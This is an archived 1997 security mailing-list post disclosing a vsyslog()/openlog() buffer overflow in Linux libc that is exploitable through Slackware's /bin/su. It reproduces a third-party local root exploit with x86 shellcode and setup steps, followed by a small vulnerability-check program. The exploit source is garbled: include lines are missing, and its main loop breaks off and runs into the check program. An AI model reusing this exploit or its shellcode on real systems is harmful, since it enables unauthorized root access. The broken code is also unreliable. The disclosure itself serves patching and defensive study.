[ http://www.rootshell.com/ ] Date: Sun, 21 Dec 1997 00:43:54 -0300 From: Solar Designer Subject: Linux vsyslog() overflow Hello, This vulnerability is already fixed in libc 5.4.38, but doesn't seem to be widely known, and a lot of people are still running vulnerable versions of libc. Thanks to Jon Lewis for recovering the exploit erased by an intruder. The buffer overflow is in vsyslog(), by the ident string previously set with openlog(). It is exploitable via some versions of /bin/su (for example, the version that comes with Slackware 3.1), and possibly some other privileged processes that use user-supplied data in ident for openlog() -- could even be a daemon setting the ident to something like "daemon: username" (I don't know of any such examples though). I have verified this is exploitable in libc 5.4.23 and RedHat's 5.3.12-18 that comes with RH 4.2, but is fixed in 5.4.38. It can't be exploited via /bin/su on standard RedHat setup though. Actually, the behavior of Slackware's /bin/su is quite stupid anyway: sunny:/tmp$ ln -s /bin/su kernel sunny:/tmp$ export PATH=.:$PATH sunny:/tmp$ kernel Password: sunny:/tmp# tail -1 /var/log/messages Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1 No real security hole here, but this shows it was a stupid thing to use argv[0] for openlog(). Here goes the original exploit, the author changed the shellcode to run _bin_sh since /bin/su uses basename(argv[0]) as ident, and using '/' in the shellcode is not possible. You have to link _bin_sh to /bin/sh and make sure you have "." in your path before running the exploit. --- syslog-exp.c --- /* vsyslog()/openlog() exploit by BiT - 8/8 1997 Greets to: doodle, skaut, melon, kweiheri etc. */ #include #include unsigned long get_esp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char **argv) { unsigned char shell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh"; char *buf,*p; unsigned long *adr; int i; if((p=buf=malloc(2028+28)) == NULL) exit(-1); memset(p,0x90,2028); p+=2028-strlen(shell); for(i=0;i int main() { char ident[4096]; memset(ident, 'x', sizeof(ident)); ident[sizeof(ident) - 1] = 0; openlog(ident, 0, LOG_AUTHPRIV); syslog(LOG_NOTICE, "message"); return 0; } --- syslog-check.c --- P.S. There's a new version of my non-executable stack patch available at http://www.false.com/security/linux-stack/ -- the Linux 2.0.33 version got improved trampoline support (an extra kernel configuration option) for running with glibc (RedHat 5.0). Signed, Solar Designer